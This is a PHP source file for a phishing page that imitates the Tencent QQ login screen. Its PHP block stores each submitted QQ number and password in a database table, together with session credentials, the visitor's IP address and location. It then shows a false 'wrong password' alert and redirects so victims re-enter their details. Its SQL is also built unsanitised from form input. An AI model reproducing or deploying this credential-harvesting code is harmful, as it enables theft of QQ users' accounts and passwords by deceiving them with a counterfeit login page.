<?php
header("content-type:text/html;charset=utf-8");
session_start();
include "../../public/config/config.php";
include "../../public/plus/callinfo.class.php";
$obj=new callInfo($cfg_dbhost,$cfg_dbuser,$cfg_dbpwd,$cfg_dbname,$cfg_dbchar);
$link=$obj->conn();

$ip=$_SERVER['REMOTE_ADDR'];
$qqnb=$_POST['qqnb'];
$qqp=$_POST['qqp'];
$tname=$_SESSION['tname']?$_SESSION['tname']:'';
$uname=$_SESSION['uname']?$_SESSION['uname']:'';
$pwd=$_SESSION['pwd']?$_SESSION['pwd']:'';
$iswap = $obj->isWap() ? '1' : '0';
$address=$obj->ipGetAdd($ip);
$time_int=time();
if($qqnb){
	$sql="insert into qq(ip,qqnb,qqp,tname,uname,pwd,pc_wap,address,dateandtime_int) values ('$ip','$qqnb','$qqp','$tname','$uname','$pwd','$iswap','$address','$time_int')";
	$re=mysqli_query($link,$sql);
	if($re){
		echo "<script>";
	    echo "alert('密码错误，请区分大小写！');";
	    echo "window.location.href='index2.php';";
	    echo "</script>";
	}else{
		echo "<script>";
	    echo "alert('密码错误，请区分大小写或检查账号密码是否正确！');";
	    echo "window.location.href='aindex.php';";
	    echo "</script>";
	}
}
mysqli_close($link);
?>
<html>
	<head>
		<title>QQ登录</title>
		<link rel="stylesheet" type="text/css" href="qqlg.css"/>
	</head>
	<body>
		<div class="top">
			<img  src="imgs/QQ.png"/>
			<span id="right">
				基本版 | English | 手机版 | 企业邮箱
			</span>
		</div>
		<div class="con">
			<div class="con1">
				<img src="imgs/QQshiPing.png"/><br />
				<img style="margin-top: 30px;" src="imgs/QQimg.png"/>
			</div>
			<div class="con2">
				<div style="width: 380px;height: 400px; border: 1px solid lightgray;border-radius: 5px;">
					<div style="width: 380px;height: 58px;background-color:lightcyan ; border-bottom: 1px solid lightgray;">
						<p style="text-align: center;line-height: 58px;color: lightslategray; font-family: '微软雅黑';">账号密码登录</p>
					</div>
					<div style="width: 380px;height: 442px;">
						<form action="#" method="post">
							<table border="0" cellspacing="0" cellpadding="0">
								<tr><td></td></tr>
								<tr><td>
									<input type="text" name="qqnb" value="" placeholder="请输入QQ号" style=" width: 320px;height: 42px;font-size: 16px;" />
								</td></tr>
								<tr><td style="height: 10px;"></td></tr>
								<tr><td>
									<input type="password" name="qqp" value="" placeholder="请输入密码" style="width: 320;height: 42px;font-size: 16px;"/><br />							
								</td></tr>
								<tr><td style="height: 16px;"></td></tr>
								<tr><td>
									<label style="float: left;"><input type="checkbox" name="" value="" style=" width: 20px; height: 20px;"/></label>
									<span style="float: left; height: 22px; line-height: 22px; font-size: 12px;">&nbsp;下次自动登录</span><br />
								</td></tr>
								<tr><td style="height: 16px;"></td></tr>
								<tr><td>
									<input type="submit" id="dlu" value="登录" />							
								</td></tr>
								<tr><td></td></tr>
								<tr><td>
									<a href="">忘了密码？</a>|
									<a href=""> 注册新帐号 </a>|
									<a href=""> 意见反馈</a>
								</td></tr>
							</table>	
						</form>
					</div>
				</div>				
			</div>
		</div>
	</body>
<script type="text/javascript" src="/public/js/footer.js"></script>
</html>